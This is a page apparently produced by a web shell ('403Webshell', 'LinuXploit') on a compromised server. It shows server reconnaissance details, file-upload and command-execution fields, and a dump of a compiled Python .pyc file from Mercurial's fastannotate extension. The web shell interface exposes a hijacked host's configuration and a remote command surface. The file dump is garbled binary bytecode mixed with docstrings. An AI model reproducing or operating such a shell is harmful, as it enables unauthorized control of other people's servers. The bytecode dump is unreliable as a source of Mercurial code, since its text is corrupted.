403Webshell
Server IP : 50.21.180.56  /  Your IP : 216.73.216.208
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : ws67922704 ( 67922704)
PHP Version : 8.5.13
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /kunden/lib/python3/dist-packages/hgext/fastannotate/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /kunden/lib/python3/dist-packages/hgext/fastannotate/__pycache__/context.cpython-313.pyc
�

6�h�z���SSKJr SSKrSSKrSSKrSSKJr SSKJrJ	r	J
r
 SSKJrJ
rJrJrJrJrJr SSKJrJr SSKJrJr \R8S	5rSS
jrSrSr \R8"\RB5r"SSjr#Sr$Sr%\%"\RL5r'"SS5r(\("5r&"SS5r)Sr*"SS5r+\RX\&S
4Sj5r-SSjr.g)�)�annotationsN)�_)�bin�hex�short)�error�linelog�lock�mdiff�pycompat�scmutil�util)�hashutil�
stringutil�)r�revmapc�$�URU5$�N)�file)�repo�paths  �</usr/lib/python3/dist-packages/hgext/fastannotate/context.py�_getflogr)s���9�9�T�?��c�H�UR UR5nU(d5UVs/sH(o3R5UR5:XdM&UPM* nnUH>nSUR;dM[	UR
UR55UlM@ U$s snf)N�_filelog)�	_changeid�parentsr�__dict__r�_repor)�f�follow�pl�ps    r�_parentsr%/s|��
�K�K�	
����B���
4��A�v�v�x�1�6�6�8�3�a���
4����Q�Z�Z�'�!�!�'�'�1�6�6�8�4�A�J���I��5s�%B�Bc���UR5nURS5nU(aURS5(dUS-
n[U5Vs/sHo0U4PM snU4$s snf)N�
r)�data�count�endswith�range)�fctx�text�	linecount�is    r�	_decorater0Fs[���9�9�;�D��
�
�5�!�I��D�M�M�%�(�(��Q��	� %�i� 0�1� 0�1�A�Y� 0�1�4�8�8��1s�
A#c�L�UHuup4pVnUS:XdMUSX4USXV&M U$)N�=r�)�parent�child�blocks�a1�a2�b1�b2�ts        r�_pairr<Qs<��%�����!�
��9�$�Q�i��.�E�!�H�R�O�	 &�
�LrFc�r�U(a$[U[5(dUb[X5nOXnUc7UR5cXRnU$UR	X%R5S9nU$XRnUS:XaUR5nOUR
5nXuR5:waXvlXUlU$)a(repo, str, str) -> fctx

get the filectx object from repo, rev, path, in an efficient way.

if resolverev is True, "rev" is a revision specified by the revset
language, otherwise "rev" is a nodeid, or a revision number that can
be consumed by repo.__getitem__.

if adjustctx is not None, the returned fctx will point to a changeset
that introduces the change (last modified the file). if adjustctx
is 'linkrev', trust the linkrev and do not adjust it. this is noticeably
faster for big repos but is incorrect for some cases.
)�changeid�linkrev)	�
isinstance�int�
_revsingle�rev�filectx�linkrev�introrevr�
_changectx)rrCr�
resolverev�	adjustctx�ctxr,rFs        r�resolvefctxrK_s����*�S�#�.�.�3�?���#���i�����7�7�9���9�D��K��<�<��w�w�y�<�9�D��K��y���
�"��|�|�~�H��}�}��H��w�w�y� �%�N�"�n�D�O��Krc��URSS5RSS5RSS5RSS5$)	Ns.hg/s.hg.hg/s.l/s.l.hg/s.m/s.m.hg/s.lock/s	.lock.hg/)�replace�rs r�	encodedirrO�s9�����W�j�)�	����	#�	����	#�	���L�	)�	rc��^�[R"[U4Sj[RR
555n[
[R"U5R55SS$)Nc3�h># �UH'nU[T[R"U554v� M) g7fr)�getattrr�sysstr)�.0�k�diffoptss  �r�	<genexpr>�hashdiffopts.<locals>.<genexpr>�s-����
�,�����(�/�/�!�"4�5�6�,�s�/2�)
r�pprint�sortedrrV�defaultsrr�sha1�digest)rV�
diffoptstrs` r�hashdiffoptsr`�sX����"�"��
��^�^�,�,�
�	
��J��x�}�}�Z�(�/�/�1�2�2�A�6�6rc�r�\rSrSr%SrSSSS.rS\S'S\S	'S\S
'Sr\RSSj5r
S
rg)�annotateopts�z�like mercurial.mdiff.diffopts, but is for annotate

followrename: follow renames, like "hg annotate -f"
followmerge: follow p2 of a merge changeset, otherwise p2 is ignored
NT)rV�followrename�followmergezmdiff.diffoptsrV�boolrdrec	��URR5H up#[XURX#55 M" gr)r\�items�setattr�get)�self�optsrU�vs    r�__init__�annotateopts.__init__�s-���M�M�'�'�)�D�A��D�T�X�X�a�^�,�*rc�2�SnUR(dUS-
nUR(dUS-
nURbR[UR[R5(de[UR5nU[:waUSU--
nU=(d S$)z?represent opts in a short string, suitable for a directory namersr0sm0�isdefault)rdrerVr@rr`�_defaultdiffopthash)rk�result�diffopthashs   r�shortstr�annotateopts.shortstr�s������ � ��e�O�F�����e�O�F��=�=�$��d�m�m�U�^�^�<�<�<�<�&�t�}�}�5�K��1�1��$��,�,���#��#rr3)�return�bytes)�__name__�
__module__�__qualname__�__firstlineno__�__doc__r\�__annotations__rnr�
propertycacheru�__static_attributes__r3rrrbrb�sL�������H�������-�
���$��$rrbc��\rSrSrSrSr\S5r\S5rSr	\	r
Sr\S5rSS	jr
SSjrSrSS
jrSrSrSrSSjrSr\SSj5rSSjrSr\R6S5r\R6S5rSSjrSrg
)�_annotatecontext��zsdo not use this class directly as it does not use lock to protect
writes. use "with annotatecontext(...)" instead.
c��XlURUlX lXPlX0lX@lSUlSUl0Ulgr)	r�uirrl�linelogpath�
revmappath�_linelog�_revmap�
_node2path)rkrrr�r�rls      rrn�_annotatecontext.__init__�s<���	��'�'����	��	�&��$����
������rc� �URc�[RRUR5(a^[URS5n[RRUR55UlSSS5 UR$[R"5UlUR$![Ra [R"5UlNjf=f!,(df   UR$=f)N�rb)r��osr�existsr��open�
linelogmodr	�fromdata�read�LineLogError�rkr!s  rr	�_annotatecontext.linelog�s����=�=� ��w�w�~�~�d�.�.�/�/��$�*�*�D�1�Q�=�(2�(:�(:�(C�(C�A�F�F�H�(M��
�2��}�}��!+� 2� 2� 4��
��}�}���	&�2�2�=�(2�(:�(:�(<��
�=��2�1��}�}��s*�C4�2C�.C1�.C4�0C1�1C4�4
D
c�~�URc%[R"UR5UlUR$r)r��	revmapmodrr��rks rr�_annotatecontext.revmap�s,���<�<��$�+�+�D�O�O�<�D�L��|�|�rc�<�URb!URR5 SUlURbP[URS5nURURR
55 SSS5 SUlgg!,(df   N=f)N�wb)r��flushr�r�r��write�encoder�s  r�close�_annotatecontext.close�sp���<�<�#��L�L��� ��D�L��=�=�$��d�&�&��-������
�
�,�,�.�/�.� �D�M�%�-�-�s�*B
�
Bc��UR5 URR5 [URUR
/5 g)z0delete linelog and revmap, useful for rebuildingN)r�r��clear�_unlinkpathsr�r�r�s r�rebuild�_annotatecontext.rebuild�s2���
�
���������d�o�o�t�'7�'7�8�9rc��URc [R"UR5$URR	URR
5$)z6return last node in revmap, or None if revmap is empty)r�r��getlastnoder��rev2hsh�maxrevr�s r�lastnode�_annotatecontext.lastnode�sB���<�<���(�(����9�9��<�<�'�'����(;�(;�<�<rc�*�URnURUSS9nURRR	UR55nU(d)U(a"XS:waURRU5SL$XS:H$![a gf=f)a�return True if the revmap / linelog is up-to-date, or the file
does not exist in the master revision. False otherwise.

it tries to be fast and could return false negatives, because of the
use of linkrev instead of introrev.

useful for both server and client to decide whether to update
fastannotate cache or not.

if strict is True, even if fctx exists in the revmap, but is not the
last node, isuptodate will return False. it's good for performance - no
expensive check was done.

if strict is False, if fctx exists in the revmap, this function may
return True. this is useful for the client to skip downloading the
cache if the client's master is behind the server's.
T)rHN)	r��_resolvefctxr�	changelog�noderEr�hsh2rev�LookupError)rk�master�strictr�r!�linknodes      r�
isuptodate�_annotatecontext.isuptodates���$�=�=��	��!�!�&�T�!�:�A��y�y�*�*�/�/��	�	��<�H��h�8�+?��{�{�*�*�8�4�D�@�@��'�'���	��	�s�A2B�B�
B�BNc
���[U[5(a.[URRRU55nUR
U5upVU(auURR(aHURRSUR[R"[US554-5 URXcU5$SnU(a#URUSSS9nXpR ;aSnU/nU(aIUR%5c'[&R("[+S5[+S5S9eUR-U5 USSn	0n
US	0n0nU	(a�U	R/5n
X�;dX�;aM#X�R ;aoUR R1U
R55nUR2R5U5 UR2R6nX�R954X�'M�UR;U
5nUX�'UH4nUR=US
5S	-UU'UU
;dM#U	R-U5 M6 U	(aM�[?5nUn
U
(aLX�R ;a=URAU
5 X�nU(aUS
n
OSn
OU
(aX�R ;aM=UbURCU
5 URR(ajU(a4URRSUR[EU54-5 O/U(d(URRSUR-5 UR2R5UR2RF5 USSn	URRIS
[EU5S9nU	(Ga�U	Sn
X�;aU	R/5 M$SnX�nUHnUU;dMSnU	R-U5 M  U(dMWU	R/5 SnU
U;nX�;de[KU
5n[MU5Hgunn[OURQUUS	US	55nUS
:Xa	U(aUn[SUUUU5nUUS	:XaUU	UU	MZUU==S	-ss'Mi UX�'X�	U(avURU5 Sn[EU5S:Xa URVRX(aUS
nUc[OURQSUS	55nUR[U
UU5 O2U(a+U
R5UR\U
R5'U	(aGM�UR_5 X�S
VVs/sHHunn[U[5(aUR RaU5OUR5U4PMJ nnnURcX�X45$!["a GN�f=fs snnf)a�incrementally update the cache so it includes revisions in the main
branch till 'master'. and run annotate on 'rev', which may or may not be
included in the main branch.

if master is None, do not update linelog.

the first value returned is the annotate result, it is [(node, linenum)]
by default. [(node, linenum, path)] if showpath is True.

if showlines is True, a second value will be returned, it is a list of
corresponding line contents.
s6fastannotate: %s: using fast path (resolved fctx: %s)
r�NT�rHrIscannot update linelog to wdir()sset fastannotate.mainbranch)�hintrrs7fastannotate: %s: %d new changesets in the main branch
sBfastannotate: %s: linelog cannot help in annotating this revision
sbuilding cache)�total���F�r)2r@rArrr�r��canannotatedirectlyr��	debugflag�debugrrrZ�hasattr�annotatedirectlyr�rr�rCr�Abortr�append�popr�r	�annotate�annotateresultr(�_parentfuncrj�set�add�_checklastmasterhead�lenr��makeprogressr0�	enumerate�list�_diffblocksr<�	incrementrlre�
_appendrevr��completer��_refineannotateresult)rkrCr��showpath�	showlines�directly�revfctx�
masterfctx�	initvisit�visit�pcache�needed�histr!�llrevrsr#r$�
newmainbranch�progress�readyr6�ismainbranch�currr/�bs�
bannotated�fr�ls                             rr��_annotatecontext.annotate*sK��$�c�3����d�i�i�)�)�.�.�s�3�4�C�!�4�4�S�9�����w�w� � ����
�
�-��	�	�"�)�)�'�'�6�*B�C�����(�(��I�F�F��
��
&�!�.�.��t�t�/��
����,�!%�J�0�I�	���~�~��'��k�k��8�9��9�:���
���Z�(��!������1�������	�	��A��{�a�i���K�K�����+�+�A�F�F�H�5�����%�%�e�,����4�4��!�6�6�8�,�����!�!�!�$�B��F�I���"�J�J�q�!�,�q�0��q�	��F�?��L�L��O���e�&��
����A�[�[�(����a� ���B���q�E������A�[�[�(��!��%�%�a�(��7�7�������
�
�!�$(�I�I�s�=�/A�#B�C������
�
�2�48�I�I�>��	
�����d�l�l�1�1�2��!����7�7�'�'��S��%7�(�
����b�	�A��y��	�	����E���B����D�=�!�E��L�L��O�����I�I�K��F��
�-�L��=� �=��Q�<�D�!�"�
���1��$�*�*�4��7�1�:�t�A�w�?�@����6�l��F��T�!�W�d�B�/���!�9��>��Q���q�	��1�I��N�I�&��D�G��	���"�"�$�!�
��r�7�a�<�D�I�I�$9�$9�!%�a��J��>�!�$�"2�"2�3��Q��"@�A�F�����6�:�6��,-�F�F�H��������)�]�e�`	������q�)�
�)���A�*4�B��)<�)<�d�k�k�!�!�"�%�"�'�'�)�a�P�)�	�
��)�)�&�8�O�O��m�
��
��d
s�W�6AW+�
W(�'W(c��SnSn[U[5(dPUbM[[S.R	[U5S5"U5nUbX@R4UR;aUnUc\UR(aSOSnURXSS9nX0R;nU(d"UR(aURUSSS9nX#4$)z�(str) -> bool, fctx or node.
return (True, f) if we can annotate without updating the linelog, pass
f to annotatedirectly.
return (False, f) if we need extra calculation. f is the fctx resolved
from rev.
TN)��(c��grr3)�xs r�<lambda>�6_annotatecontext.canannotatedirectly.<locals>.<lambda>�s��trr?)rIrH)
r@rArxrrjr�rr�	_perfhackr�)rkrCrsr!�hshrIs      rr��$_annotatecontext.canannotatedirectly�s��������#�s�#�#����#�&�*�*�3�s�8�^�D�S�I�C���C���#3�t�{�{�#B����9�&*�n�n�
�$�I��!�!�#�t�!�L�A��+�+�%�F��d�n�n��%�%�c�T�d�%�K���y�rc��URUSSS9nX@R;Ga-U/nSnUSnURU5nU(dO=USUR;aUSR5nOUR	US5 M[[
R"5n	U	RUR5 U	RU	R5 [R"5n
U
RUR5 [U5HAnUR5n[URXk55nURX�X|5 UnMC OURn	URn
U	R5n
UR!5nU
R#U5nU
VVs/sH!unnUU::dMU
R%U5U4PM# nnnU(aUR'UU
5nU(aUR)UX�5nUU4nU$s snnf)z�(rev : str) -> [(node : str, linenum : int, path : str)]

the result has the same format with annotate, but include all (including
deleted) lines up to rev. call this after calling annotate(rev, ...) for
better performance and accuracy.
Tr�rr�r)r�rr�r(r�r�r	�copyfromr�r�r��reversedr�r��_doappendrev�getalllinesr�r�r��_addpathtoresult�
_resolvelines)rkrCr�r�r��chain�ar!r#r	r�br6�linesr�r��rr�rs�linecontentss                    r�annotatealllines�!_annotatecontext.annotateallliness����#�#�C�D�D�#�I���+�+�%��I�E��A���"�I���%�%�a�(�����a�5�D�K�K�'��1��
�
��A�����R��U�#��!�(�(�*�G����T�\�\�*����W�^�^�,��%�%�'�F��O�O�D�K�K�(��e�_���F�F�H���d�.�.�q�4�5���!�!�'�1�=���	%��l�l�G��[�[�F��#�#�%���l�l�n�����s�#��5:�I�U�T�Q��a�5�j�(�6�>�>�!�$�a�(�U��I���*�*�6�6�:�F���-�-�f�f�F�L��l�+�F��
��Js�
H�.Hc��UVs/sHoBRUS5PM nnS/[U5-n[R"[5n[[U55H nXuUXS4R
U5 M" U(Ga3Sn	UR5H;uup�nURU
5[R-(aM1XSSn	 O U	c�0n
UR5H�uup�nX�;a�XSSn	URR(a)URRS[U	5X�4-5 UR!X�R#U
55n[$R&"UR)55nUX�'UH
nX�UUU'M M� [+SU55(deU$URRS[U	5-5 UR-W
5 UR!X�R#U
55nUR.n[$R&"UR)55n[U5[U5:wa[0R2"S5e[5U5H'unnUUnUU;dMUUHnUUU'M
 UU	M) U(aGM3U$s snf![a Us$f=f)a@(annotateresult) -> [line]. designed for annotatealllines.
this is probably the most inefficient code in the whole fastannotate
directory. but we have made a decision that the linelog does not
store line contents. so getting them requires random accesses to
the revlog data, since they can be many, it can be very slow.
rNrs6fastannotate: reading %s line #%d to resolve lines %r
c3�(# �UHoSLv� M
 g7frr3)rTr�s  rrW�1_annotatecontext._resolvelines.<locals>.<genexpr>fs���9�&�Q�D�=�&�s�s+fastannotate: annotate %s to resolve lines
sunexpected annotated lines)r�r��collections�defaultdictr�r+r�rh�rev2flagr��sidebranchflag�
StopIterationr�r�r�rr��rev2pathr�
splitnewlinesr(�allr�r��faerror�CorruptedFileErrorr�)rkr�rr	r��revsrs�key2idxsr/r�rC�_linenum�idxs�revlines�linenumr,r��idx�	annotated�linerUs                     rr��_annotatecontext._resolvelines;s���/=�=�n����q��t�$�n��=���#�n�-�-���*�*�4�0���s�6�{�#�A��1�g�~�0��3�4�5�<�<�Q�?�$���C�
�-5�^�^�-=�)�O�S�T����s�+�i�.F�.F�F� �(�a��1�!�4�C��	.>��{���,4�N�N�,<�(�N�S�D��*�,�!�W�5�a�8���7�7�,�,� �G�G�M�M�!9�#(��:�w�"=�!>��
 $�0�0��o�o�c�6J�K�� %� 3� 3�D�I�I�K� @��(-��
�#��&.�m�G�&<��s�� $�-=��9�&�9�9�9�9�9��
�
�G�G�M�M�?�%��*�L�
�
���S�!��$�$�S�/�/�#�*>�?�D��.�.�I��'�'��	�	��4�E��5�z�S��^�+��0�0�1N�O�O�$�U�+���4��a�L����=�'��{��&*��s�� +� ���,�W�h�b�
��o>��!�
��
�
�s�K�AK�K�K�Kc�n�[U[5(aUnOUR5nURR	U5nU(d"[
R"S[U5-5eURRU5[R-S:wa"[
R"S[U5-5eURRU5 URRVVs/sH"upgURRU5U4PM$ nnnURX�X#5$s snnf)z�like annotate, but when we know that f is in linelog.
f can be either a 20-char str (node) or a fctx. this is for perf - in
the best case, the user provides a node and we don't need to read the
filelog or construct any filecontext.
s%s is not in revmaprs%s is not in revmap mainbranch)r@rxr�rr�rrrrr�r	r	r�r�r�r�)	rkr!r�r�r�r�r�r�rss	         rr��!_annotatecontext.annotatedirectly|s����a�����C��&�&�(�C����#�#�C�(����,�,�-C�c�#�h�-N�O�O��K�K� � ��'�)�*B�*B�B�q�H��,�,�1�C��H�<��
�	
�����e�$�48�L�L�4O�4O�
�4O�D�A�T�[�[�
 �
 ��
#�Q�'�4O�	�
��)�)�&�X�I�I��
s�3)D1c��U(aURU5nU(a�[U[5(aFURR	U5nURX RR
U55nOUn[R"UR55n[U5[U5:wa[R"5eX4nU$)z^add the missing path or line contents, they can be expensive.
f could be either node or fctx.
)
r�r@rxrr�r�rrrr(r�rr)rkrsr!r�r�r�r,r�s        rr��&_annotatecontext._refineannotateresult�s�����*�*�6�2�F���!�U�#�#����+�+�A�.���(�(��K�K�,@�,@��,G�H�����'�'��	�	��4�E��5�z�S��[�(��0�0�2�2��_�F��
rc�T�URURURXU5 gr)r�r	r)rkr,r6r�s    rr��_annotatecontext._appendrev�s�����$�,�,����T�:�Nrc�X�[R"XURR5$r)r�	allblocksrlrV)rkr�r�s   rr��_annotatecontext._diffblocks�s�����q�T�Y�Y�%7�%7�8�8rc
�^�U4Sjn/n0nUbJUHDuup�p�nUS:wdMUXJUV
Vs/sHup�[U
[5(aMU
PM  snn
-
nMF [U5nX&;aURU5 UH
n
U"U
5X}'M TR	UR5UR
5S9nX�U'[U5Hquup�p�nUS:XaMUcURX�X�U5 M)XJUVVs/sH$unn[U[5(aUOUUU4PM& nnnURX�U	U5 Ms gs snn
fs snnf)z'append a revision to linelog and revmapc��>�[U[5(a[R"S5eUR	5nTRU5nUcTR
USUR5S9nU$)z
(fctx) -> intsf should not be an intT)�
sidebranchr)r@rAr�ProgrammingErrorr�r�r�r)r!r�rCrs   �r�getllrev�/_annotatecontext._doappendrev.<locals>.getllrev�sa����!�S�!�!��,�,�-F�G�G��&�&�(�C��.�.��%�C��{��m�m�C�D�q�v�v�x�m�H���JrNr2rN)
r@rAr��remover�r�rr��replacelines�replacelines_vec)r	rr,r6r�r'�siderevs�
siderevmapr7r8r9r:�opr!r�r�r��bliness `                rr��_annotatecontext._doappendrev�s`���
	����
��!�(.�$� ���"���:��$.�"�$5�!�$5�D�A�)�!�S�1��$5�!��H�)/��x�=�����O�O�D�!��A�$�Q�K�J�M���
�
�d�i�i�k��	�	��
�<�� �4��$,�V�$4� ��R�R�b��T�z���!��$�$�U���;�!+�b� 1�� 1���1�&�a��-�-�a�:�a�=�1�E� 1����(�(��B��?�%5��!��*s�D>
�	D>
�8+Ec	�|^^�TcTRmUU4SjnUVVs/sHupEXEU"U54PM snn$s snnf)z6(revmap, [(node, linenum)]) -> [(node, linenum, path)]c�>�TRRU5nUc/TRTRU55nUTRU'U$r)r�rjrr�)�nodeidrrrks  ��r�_getpath�3_annotatecontext._addpathtoresult.<locals>._getpath�sF����?�?�&�&�v�.�D��|����v�~�~�f�'=�>��*.�����'��Kr)r)rkr�rr4�nr�s` `   rr��!_annotatecontext._addpathtoresult�s;����>��[�[�F�	�1?�?�����x��{�#��?�?��?s�8c��UcSnOEURRUR55nU(d[R"5eUR
RU:wa[R"5eg)z:check if fctx is the master's head last time, raise if notNr)rr�r�r�CannotReuseErrorr	r�)rkr,r�s   rr��%_annotatecontext._checklastmasterhead�s^���<��E��K�K�'�'��	�	��4�E���.�.�0�0��<�<���%�'��*�*�,�,�(rc�p^^�URRmURRmUU4SjnU$)z-> (fctx) -> [fctx]c�4>�[UTS9nT(dUSSnU$)N)r"r)r%)r!r#rerds  ��rr�-_annotatecontext._parentfunc.<locals>.parents�s"����!�L�1�B�����V���Ir)rlrdre)rkrrerds  @@rr��_annotatecontext._parentfunc�s/����y�y�-�-���i�i�+�+��	��rc�:�URRSS5$)N�fastannotatesperfhack)r��
configboolr�s rr��_annotatecontext._perfhacks���w�w�!�!�/�;�?�?rc�V�[URX=(d UR40UD6$r)rKrr)rkrCr�kwdss    rr��_annotatecontext._resolvefctxs!���4�9�9�c�,=�D�I�I�G�$�G�Gr)	r�r�r�r�rlrrr�r��T)NFF)FFr) ryrzr{r|r}rn�propertyr	rr��__del__r�r�r�r�r�rr�r�r�r�r��staticmethodr�r�r�rrr�r�r�r�r3rrr�r��s����	��
��
�����
!��G�:��=��=�!�F@P�D�.6�p?�BJ�.�$O�9��/@��/@�b@�	-�
������
���@��@�Hrr�c�f�UHn[R"U5 M g![a M,f=f)zsilent, best-effort unlinkN)r�unlink�OSError)�pathsrs  rr�r�s1����	��K�K������	��	�s�"�
0�0c�Z�\rSrSrSr\4Sjr\S5r\S5r	Sr
\S5rSrg	)
�
pathhelperiz9helper for getting paths for lockfile, linelog and revmapc��[RRSUR[	U55UlXlg)Nr@)r�r�joinrurO�_vfspathr )rkrrrls    rrn�pathhelper.__init__s,��������T�]�]�I�d�O�
��
��
rc��[RRURRRUR55$r)r�r�dirnamer �vfsrQrRr�s rrU�pathhelper.dirnames,���w�w���t�z�z�~�~�2�2�4�=�=�A�B�Brc�f�URRRURS-5$)Ns.l�r rVrQrRr�s rr��pathhelper.linelogpath#�$���z�z�~�~�"�"�4�=�=�5�#8�9�9rc�r�[R"URRURS-5$)Ns.lock)�lockmodr
r rVrRr�s rr
�pathhelper.lock's$���|�|�D�J�J�N�N�D�M�M�H�,D�E�Erc�f�URRRURS-5$)Ns.mrYr�s rr��pathhelper.revmappath*r[r)r rRN)
ryrzr{r|r}�defaultoptsrnrGrUr�r
r�r�r3rrrOrOsQ��C�(3���C��C��:��:�F��:��:rrOc#�# �[XU5n[R"UR5 URnUR
nSnUR
5 [XXeU5nU(aUR5 Uv� SSS5 UbUR5 gg!,(df   N#=f![a3 UbUR5 URRSU-5 ef=f!UbUR5 ff=f7f)a�context needed to perform (fast) annotate on a file

an annotatecontext of a single file consists of two structures: the
linelog and the revmap. this function takes care of locking. only 1
process is allowed to write that file's linelog and revmap at a time.

when something goes wrong, this function will assume the linelog and the
revmap are in a bad state, and remove them from disk.

use this function in the following way:

    with annotatecontext(...) as actx:
        actx. ....
Ns+fastannotate: %s: cache broken and deleted
)
rOr�makedirsrUr�r�r
r�r��	Exceptionr�r�r�)rrrlr��helperr�r��actxs        r�annotatecontextrg/s���� ��D�
)�F��M�M�&�.�.�!��"�"�J��$�$�K��D�
�
�[�[�]�#�D���N�D�������J�	����J�J�L���]��
�����L�L�N����
�
�E��L�M�
�	�����J�J�L��sN�AD
�
B1�)B �B1�D
� 
B.�*B1�-C1�.B1�1=C.�.C1�1D�D
c��URnURnURRSSS5(aSn[	X!S9n[XEXc5$)z\like annotatecontext but get the context from a fctx. convenient when
used in fctx.annotate
r@sforcefollowT)rVrd)r �_pathr�rArbrg)r,r"rVr�rr�aoptss       r�fctxannotatecontextrkTsK���:�:�D��:�:�D��w�w���/�>�4�@�@����(�@�E��4�u�6�6rrF)FN)TNF)/�
__future__rr�
contextlibr��mercurial.i18nr�mercurial.noderrr�	mercurialrr	r�r
r]rrr
r�mercurial.utilsrr�rrr��lrucachefuncrr%r0r<�	revsinglerBrKrOr`rarrrbr�r�rO�contextmanagerrgrkr3rr�<module>rvs���#���	����
����
�������
�.9���
�
�w�0�0�
1�
�)�Z�7�#�5�#4�#4�5��"$�"$�J�n��H�H�D�:�:�4���%0�%�!��!�H	7r

Youez - 2016 - github.com/yon3zu
LinuXploit